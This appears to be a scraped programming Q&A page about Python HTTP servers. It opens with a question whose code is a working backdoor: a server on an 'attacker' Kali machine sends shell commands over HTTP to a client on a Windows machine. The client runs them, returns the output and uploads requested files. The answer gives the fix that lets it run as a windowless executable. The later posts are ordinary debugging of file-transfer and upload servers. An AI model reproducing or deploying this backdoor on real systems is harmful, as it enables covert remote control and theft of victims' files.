I am fairly new to programming with python, and was able to get the code to work when running the script from the interpreter. However, when i use pyinstaller to create a windowless single file executable it crashes when i send the client a simple command such as dir. The server side runs on a Kali VM and the client runs from a Windows VM.
I was hoping someone might be able to see something i am missing that would cause the client to crash when run from an exe but works fine from the interpreter.
Server Code:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os, cgi
hostname = "10.10.10.100" #Host(attacker) IP address
port = 80 #Listening port number
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
command = input("Shell> ") #get command input
self.send_response(200) #send OK message
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode()) #send command to client
def do_POST(self):
if self.path == "/store": #Check for /store in URL signalling a file transfer
try:
ctype, pdict = cgi.parse_header(self.headers["content-type"])
if ctype == "multipart/form-data":
fs = cgi.FieldStorage(fp = self.rfile, headers = self.headers, environ ={"REQUEST_METHOD":"POST"})
else:
print("[-] Unexpected POST request")
fs_up = fs["file"] #Here file is the key to hold the actual file
with open("/root/Desktop/1.txt", "wb") as tfile: #Create new file and write contents into this file
tfile.write(fs_up.file.read())
self.send_response(200)
self.end_headers()
except Exception as e:
print(e)
return # once we store the received file in our file holder, we exit the function
self.send_response(200)
self.end_headers()
length = int(self.headers["Content-Length"]) #Define the length which means how many bytes the HTTP POST data contains
postVar = self.rfile.read(length) # Read then print the posted data
print(postVar.decode())
if __name__ == "__main__":
server_class = HTTPServer
myServer = server_class((hostname, port), MyHandler)
try:
myServer.serve_forever()
except KeyboardInterrupt: #if we got ctrl+c we will Interrupt and stop the server
print("[!] Server terminated")
myServer.server_close()
Client Code:
import requests #requests library
import subprocess #system operations
import time #time library
import os
while True:
req = requests.get("http://10.10.10.100") # This sends get request to the Attacker
command = req.text # Received text will be saved in command variable
if "terminate" in command:
break #terminate connection
elif "grab" in command:
grab,path = command.split("*")
if os.path.exists(path): #check if file exists
url = "http://10.10.10.100/store" #Append /store in the URL to signal file transfer
files = {"file": open(path, "rb")} # Add a dictionary key where file will be stored
r = requests.post(url, files=files) # Send the file
else:
post_response = requests.post(url="http://10.10.10.100", data="[-] File not found")
else: #execute given command
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
post_response = requests.post(url="http://10.10.10.100", data=CMD.stdout.read()) # POST the result
post_response = requests.post(url="http://10.10.10.100", data=CMD.stderr.read()) # POST the error
time.sleep(3) # create a pause between commands
Finally found a post pointing me in the correct direction. The following line needed to be change from:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
To:
CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
Related
I'm getting file not found error on executing python server file. Python version is 3.7.5. To produce the same output copy the shared code and run on local system. Run the python file using python webserver.py in terminal then in browser type localhost:8080/hello to get error.
What I want is to dynamically render html output when url path matches with /hello. I'm not using additional files or any declarations in any other file in same directory. Code used in server file is as below:
from http.server import BaseHTTPRequestHandler,SimpleHTTPRequestHandler, HTTPServer
class webhandler(SimpleHTTPRequestHandler):
def do_Get(self):
try:
if self.path.endswith('/hello'):
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
output = ''
output +=f"<html><body>Hello!</body></html>"
self.wfile.write(bytes(output,"utf8"))
return
except IOError:
self.send_error(404,"File not found %s" % self.path)
def main():
try:
port = 8080
server = HTTPServer(("",port),webhandler)
print("Web server running on port %s" % port)
server.serve_forever()
except KeyboardInterrupt:
print("^c entered Stopping webserver...")
server.socket.close()
if __name__=='__main__':
main()
I'm writing a server in Python and I want to send some data in the body part of a GET request. Currently when I run my code it just freezes.
I tried to put it in a try/except and read details about the instance variable rfile but I didn't find anything helpful
Client-side :
import http.client
import sys
import os
#get http server ip
http_server = sys.argv[1]
#create a connection
conn = http.client.HTTPConnection(http_server)
while 1:
cmd = input('input command (ex. GET index.html): ')
cmd = cmd.split()
f = open('data.txt')
if cmd[0] == 'exit': #tipe exit to end it
break
#request command to server
conn.request(cmd[0],'',f.read())
#get response from server
rsp = conn.getresponse()
#print server response and data
print(rsp.status, rsp.reason)
data_received = rsp.read()
print(data_received)
Server-side :
from http.server import BaseHTTPRequestHandler,HTTPServer
import os
class TestHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
a = ''
fichier = open("data2.txt", "w")
try:
fichier.write(self.rfile.read())
except:
self.send_response(200)
self.send_header('Content-type','text-html')
self.end_headers()
return
def run():
print('http server is starting...')
server_address = ('127.0.0.1',80)
httpd = HTTPServer(server_address, PancakeHTTPRequestHandler)
print('htttp server is running...')
httpd.serve_forever()
if __name__ == '__main__':
run()
I expect being able to write my data from my GET request in my data2.txt file.
Thank you for your help
It freezes because of the self.rfile.read() in your server.py. The read method expect either EOF or a byte length to read. See https://docs.python.org/3/library/io.html#io.BufferedIOBase.read
You're trying to log the client requests made to the server, a quick work around would be to pass the content length of the request to the read method with int(self.headers.get('Content-Length'))
In the end it gives us:
client.py
import http.client
import sys
import os
#get http server ip
http_server = sys.argv[1]
#create a connection
conn = http.client.HTTPConnection(http_server)
while 1:
cmd = input('input command (ex. GET index.html): ')
cmd = cmd.split()
f = open('data.txt')
if cmd[0] == 'exit': #tipe exit to end it
break
#request command to server
conn.request(cmd[0], '', f.read())
#get response from server
rsp = conn.getresponse()
#print server response and data
print(rsp.status, rsp.reason)
data_received = rsp.read()
print(data_received)
server.py
from http.server import BaseHTTPRequestHandler,HTTPServer
import os
class TestHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
a = ''
fichier = open("data2.txt", "a")
try:
content_length = int(self.headers.get('Content-Length'))
response_str = self.rfile.read(content_length)
fichier.write(response_str.decode('utf-8'))
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
except:
self.send_response(200)
self.send_header('Content-type','text-html')
self.end_headers()
fichier.close()
return
def run():
print('http server is starting...')
server_address = ('127.0.0.1',80)
httpd = HTTPServer(server_address, TestHTTPRequestHandler)
print('htttp server is running...')
httpd.serve_forever()
if __name__ == '__main__':
run()
ps. I don't know what PancakeHTTPRequestHandler was so I replaced it with TestHTTPRequestHandler. And I also added a response in try except on the server side so that the the client gets a response otherwise it will crash.
In order to allow helpdesk to restart an Oracle Instance, we are trying to implement a small python webserver that would start a shell script that starts the Oracle instance.
The code is done and it starts the instance but there is a problem: the instance is connected to the webserver, so the buffer to the browser is not closed until the instance has been stopped, and there is a ora_pmon_INSTANCE process listening on the webserver port.
I tried to launch the script with:
process = os.system("/home/oracle/scripts/webservice/prueba.sh TFINAN")
and
process = subprocess.Popen(["/home/oracle/scripts/webservice/prueba.sh", "TFINAN"], shell=False, stdout=subprocess.PIPE)`
but it happens the same.
I also tried to launch a script with daemon (using daemon function from redhat's init scripts). The script starts the Oracle instance with the same result.
This is my code:
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from SocketServer import ThreadingMixIn
import threading
import argparse, urlparse
import re
import cgi, sys, time
import os, subprocess
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(403)
self.send_header('Content-Type', 'text/html')
self.end_headers()
return
def do_GET(self):
ko = False
respuesta = ""
params = {}
myProc = -1
parsed_path = urlparse.urlparse(self.path)
try:
params = dict([p.split('=') for p in parsed_path[4].split('&')])
except:
params = {}
elif None != re.search('/prueba/*', self.path):
self.send_response(200)
respuesta = "Hola Mundo! -->" + str( params['database'] )
elif None != re.search('/startup/*', self.path):
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
cmd = """ <html>
<body><H2> Iniciando instancia oracle: """ + str( params["database"]) + '. Espere un momento, por favor ...</H2>'
self.wfile.write(cmd)
#process = os.system("/home/oracle/scripts/webservice/prueba.sh INSTANCE")
process = subprocess.Popen(["/home/oracle/scripts/webservice/prueba.sh", "INSTANCE"], shell=False, stdout=subprocess.PIPE)
# wait for the process to terminate
out, err = process.communicate()
errcode = process.returncode
if errcode == 0:
self.wfile.write("""<H1> Instancia iniciada correctamente
</H1>
</body> </html>""")
self.wfile.close()
else:
respuestaok = "Error inicializando la instancia: " + str( params['database']) + " Intentelo de nuevo pasados unos minutos y si vuelve a fallar escale la incidencia al siguiente nivel de soporte"
else:
self.send_response(403, 'Bad Request: pagina no existe')
respuesta = "Solicitud no autorizada"
if respuesta != "":
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(respuesta)
self.wfile.close()
if ko:
server.stop()
return
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
allow_reuse_address = True
def shutdown(self):
self.socket.close()
sys.exit(0)
class SimpleHttpServer(object):
def __init__(self, ip, port):
self.server = ThreadedHTTPServer((ip,port), HTTPRequestHandler)
def start(self):
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
def waitForThread(self):
self.server_thread.join()
def stop(self):
self.server.shutdown()
if __name__=='__main__':
parser = argparse.ArgumentParser(description='HTTP Server')
parser.add_argument('port', type=int, help='Listening port for HTTP Server')
parser.add_argument('ip', help='HTTP Server IP')
args = parser.parse_args()
server = SimpleHttpServer(args.ip, args.port)
print 'HTTP Server Running...........'
server.start()
server.waitForThread()
Can any of you help me?
Your problem is not related much to HTTP server. You seem to have general problem to control Oracle daemon from Python code.
Try first writing a simple python script, which does what you need.
My guess is, that your attempts are having problems with reading output from daemon control script.
See also Popen.communicate() for reading output from the command. Other option could be to call subrocess.call()
There are many tutorials for calling system command from Python, e.g. this one
Apart of purely Python related problems you may run into problems with permission - if your user, running the script/HTTP server is not allowed to call oracle control script, you have another problem (which might have a solution, on Linux adding that user into sudoers).
After you resolve problems with calling the script, it shall be easy to make it working inside of your HTTP server.
I have a project in PYTHON that is two machines (A , B) ,
1) request machine A send a request to B to list a directory(in my code i set it to current directory)
2) in second request machine A wants to download the Text file of the directory. (Put a text file in machine B's directory)
3) after that machine A changes the text file and send back to the machine B.
4) and At the end machine A send two number and machine B send back the result of it.
it work till step 2 but nothing happen after that it's like a true while I can't understand why?!
Here is my Code
Machine A (Client):
# -*- coding: UTF-8 -*-
import os
import socket
PORT = 9000
HOST = 'localhost'
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((HOST, PORT))
store=[]
direc = raw_input("Enter The Directory to List : ")
socket.sendall(direc)
len_data = socket.recv(2048)
print int(len_data)
for i in range(int(len_data)):
data = socket.recv(2048)
store.append(data)
print("List of Files:")
for i in store:
print(i)
txt_file = raw_input("Please Choose a TEXT file :")
if store.count(txt_file) is 0:
print("There no such a TXT file!!")
else:
socket.sendall(txt_file)
def write_file(name):
fname = open(name,'ab')
while True:
string = socket.recv(2048)
if string:
fname.write(string)
else:
fname.write("changed")
fname.close()
break
def read_file(name):
fileToSend = open(name, 'rb')
while True:
data = fileToSend.readline()
if data:
socket.send(data)
else:
fileToSend.close()
break
write_file(txt_file)
read_file(txt_file)
x = raw_input("Enter The First Num: ")
socket.send(x)
y = raw_input("Enter The Second Num: ")
socket.send(y)
result = socket.recv(1024)
print result
raw_input()
socket.sendall('')
socket.close()
exit()
and the Machine B (Server):
import os,sys,socket
PORT = 9000
HOST = 'localhost'
tcpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (HOST, PORT)
print >>sys.stderr, 'starting up on %s port %s' % server_address
socket.bind((HOST,PORT))
socket.listen(1)
conn, addr = socket.accept()
directory = conn.recv(2048)
if os.listdir(os.curdir):
data = os.listdir(os.curdir)
len_data = data.__len__()
print(len_data)
if len_data:
conn.send(str(len_data))
for i in data:
if i:
print >>sys.stderr, 'sending data back to the client'
conn.send(i)
else:
break
txt_file_name = conn.recv(2048)
def write_file(name):
with open(name,'wb') as fname:
while True:
string = conn.recv(2048)
if string:
fname.write(string)
else:
fname.close()
break
def read_file(name):
with open(name, 'rb') as fileToSend:
while True:
data = fileToSend.readline()
if data:
conn.send(data)
else:
fileToSend.close()
break
def add (x,y):
return str(x+y)
read_file(txt_file_name)
write_file(txt_file_name)
x = conn.recv(1024)
y = conn.recv(1024)
conn.send(add(x,y))
conn.sendall('')
conn.close()
exit()
I am fascinated with your problem and looked into it. While we can solve it using socket. I lean toward HTTP protocol for several reasons:
You don't have to make up your own "hand shake". The HTTP protocol has provision for requesting file, uploading a file, and do some processing (your step #4)
You can test your server using a web browser
Web services are very popular now. This is a baby step to learn about web services.
Here is the server code (server.py):
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
import os
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
global running
if self.path == '/':
self.list_files()
elif self.path.startswith('/calculation'):
self.send_calculation()
elif self.path.startswith('/quit'):
self.send_response(200)
running = False
else:
self.send_file(self.path[1:])
def do_POST(self):
filename = self.path[1:] # Remove the / from the path
filesize = int(self.headers['Content-Length'])
contents = self.rfile.read(filesize)
with open(filename, 'w') as f:
f.write(contents.decode())
self.send_response(200)
def send_file(self, filename):
# Check to see if file exists and is a file, not directory
if os.path.isfile(filename):
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
# Read and send the contents of the file
with open(filename) as f:
contents = f.read()
self.wfile.write(contents)
else:
self.send_response(404)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write('Dude! File not found')
def send_calculation(self):
empty, operation, number1, number2 = self.path.split('/')
result = int(number1) + int(number2)
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(result)
def list_files(self):
file_list = os.listdir(os.curdir)
if file_list:
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
for filename in file_list:
self.wfile.write('{}\n'.format(filename))
#
# Main
#
running = True
server = HTTPServer(('', 9000), MyHandler)
print 'Server started on host:{}, port:{}'.format(*server.server_address)
while running:
server.handle_request()
And here is the client code (client.py):
import urllib2
import urlparse
def make_url(server, port, path, scheme='http'):
netloc = '{}:{}'.format(server, port)
url = urlparse.urlunsplit((scheme, netloc, path, '', ''))
return url
#
# Main
#
server = '10.0.0.5'
port = 9000
# 1 - Request directory listing
url = make_url(server, port, '/')
file_list = urllib2.urlopen(url).read()
print 'Files from server:'
for filename in file_list.splitlines():
print '- {}'.format(filename)
# 2 - Request contents of a file
filename = raw_input('Type a file name: ')
url = make_url(server, port, filename)
contents = urllib2.urlopen(url).read()
print 'Contents:'
print contents
# 3 - Upload a file to the server
contents = 'hello, world.\nThe End'
filename = 'foo.txt'
url = make_url(server, port, filename)
f = urllib2.urlopen(url, data=contents)
# 4 - Do some calculation
n1 = 19
n2 = 5
path = '/calculation/{}/{}'.format(n1, n2)
url = make_url(server, port, path)
result = int(urllib2.urlopen(url).read())
print '{} + {} = {}'.format(n1, n2, result)
# Send quit signal
url = make_url(server, port, '/quit')
urllib2.urlopen(url).read()
Web Service
The server is really a web service, which provides the following services:
Get a directory listing
GET http://server:port/
This service will return a list of files in the current directory.
Get contents of a file
GET http://server:port/filename
Returns the contents of a file in plain text format.
Upload a file
POST http://server:port/filename
Copy a file from the client to the server. If the file already exists on the server, override it.
Do some calculation
GET http://server:port/calculation/x/y
Returns x + y
Shut down the server
GET http://server:port/quit
Tells the server to quit.
Error Handling
For the sake of brevity and clarity, I did not add and error handling to the code. Here are a few error condition that I can think of:
Retrieve a non-existing file, or a directory (server)
Upload failed because of the lack of file write permission (server)
In the calculation service, the parameters are not numbers (server)
The server has not started, wrong port, wrong server (client)
Other Discussions
In a general, GET means data flow from the server to the client, and POST the opposite direction.
To test GET action from the server, you can use your browser. For example, to retrieve the directory contents from 192.168.1.5, port 9000, point your web browser to:
http://192.168.1.5:900/
Testing POST is trickier, see the client code in the upload section for idea of using POST.
In the server code, the do_GET() function handles all the GET requests, and the do_POST() function handles all the POST requests.
I have never setup a server (let alone a python server) before and i am a bit lost. How do i utilize the following code? I have tried to put in in the cgi bin directory but that didnt work. It returned an internal server error. have a look at this here
#!/usr/bin/env python
#
# Funf: Open Sensing Framework
# Copyright (C) 2010-2011 Nadav Aharony, Wei Pan, Alex Pentland.
# Acknowledgments: Alan Gardner
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from SocketServer import ThreadingMixIn
import sys
import cgi
import urlparse
import os.path
import shutil
import time
server_dir = os.path.dirname(__file__)
config_path = '/config'
config_file_path = os.path.join(server_dir, 'config.json')
upload_path = '/data'
upload_dir = os.path.join(server_dir, 'uploads')
def read_config():
config = None
try:
with open(config_file_path) as config_file:
config = config_file.read()
except IOError:
pass
return config
def backup_file(filepath):
shutil.move(filepath, filepath + '.' + str(int(time.time()*1000)) + '.bak')
def write_file(filename, file):
if not os.path.exists(upload_dir):
os.mkdir(upload_dir)
filepath = os.path.join(upload_dir, filename)
if os.path.exists(filepath):
backup_file(filepath)
with open(filepath, 'wb') as output_file:
while True:
chunk = file.read(1024)
if not chunk:
break
output_file.write(chunk)
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_url = urlparse.urlparse(self.path)
if parsed_url.path == config_path:
config = read_config()
if config:
self.send_response(200)
self.end_headers()
self.wfile.write(config)
else:
self.send_error(500)
elif parsed_url.path == upload_path:
self.send_error(405)
else:
self.send_error(404)
def do_POST(self):
parsed_url = urlparse.urlparse(self.path)
path = parsed_url.path
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
if path == upload_path:
if ctype=='multipart/form-data':
form = cgi.FieldStorage(self.rfile, self.headers, environ={'REQUEST_METHOD':'POST'})
try:
fileitem = form["uploadedfile"]
if fileitem.file:
try:
write_file(fileitem.filename, fileitem.file)
except Exception as e:
print e
self.send_error(500)
else:
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
return
except KeyError:
pass
# Bad request
self.send_error(400)
elif parsed_url.path == config_path:
self.send_error(405)
else:
self.send_error(404)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
if __name__ == '__main__':
if sys.argv[1:]:
port = int(sys.argv[1])
else:
port = 8000
server_address = ('', port)
httpd = ThreadedHTTPServer(server_address, RequestHandler)
sa = httpd.socket.getsockname()
print "Serving HTTP on", sa[0], "port", sa[1], "..."
print 'use <Ctrl-C> to stop'
httpd.serve_forever()
If you want to run a CGI on something like Apache (as opposed via custom server code like you pasted above), you can create a .py file like this in a (.py) CGI-enabled directory.
#!/usr/bin/env python
print "Content-Type: text/html"
print
print 'Hello World'
If you're using Apache, here's some info on how to set up CGI executables.
edit: (As Adrien P. says, the Python script should be made executable.)
You do not have to place it into a cgi-bin directory.
If you are running windows, you can launch Idle from your start menu under the python entry. Paste the code in, and hit F5 to run the code.
If you are running *nix, look to Adrien's answer for the commands and copy what is output when you run ./your_script.py.
Are you attempting to program a website in Python? This is code to create a web server, not site, so navigating to the program in a web browser will yield no results.
$ chmod +x your_script.py
$ ./your_script.py
A quick look a your code: it launch a simple http server who listen on port 8000
Heroku is a good place to host and python scripts.
Pre-req
pythonscripts.py
procfile
requirements.txt
and After add, commit and push the scripts to heroku app. Just run the following command on terminal to run the scripts.
heroku run python your_scripts.py
More if you want to run this scripts on a schedule timing. then heroku provides lots of adds-on. just search it on heroku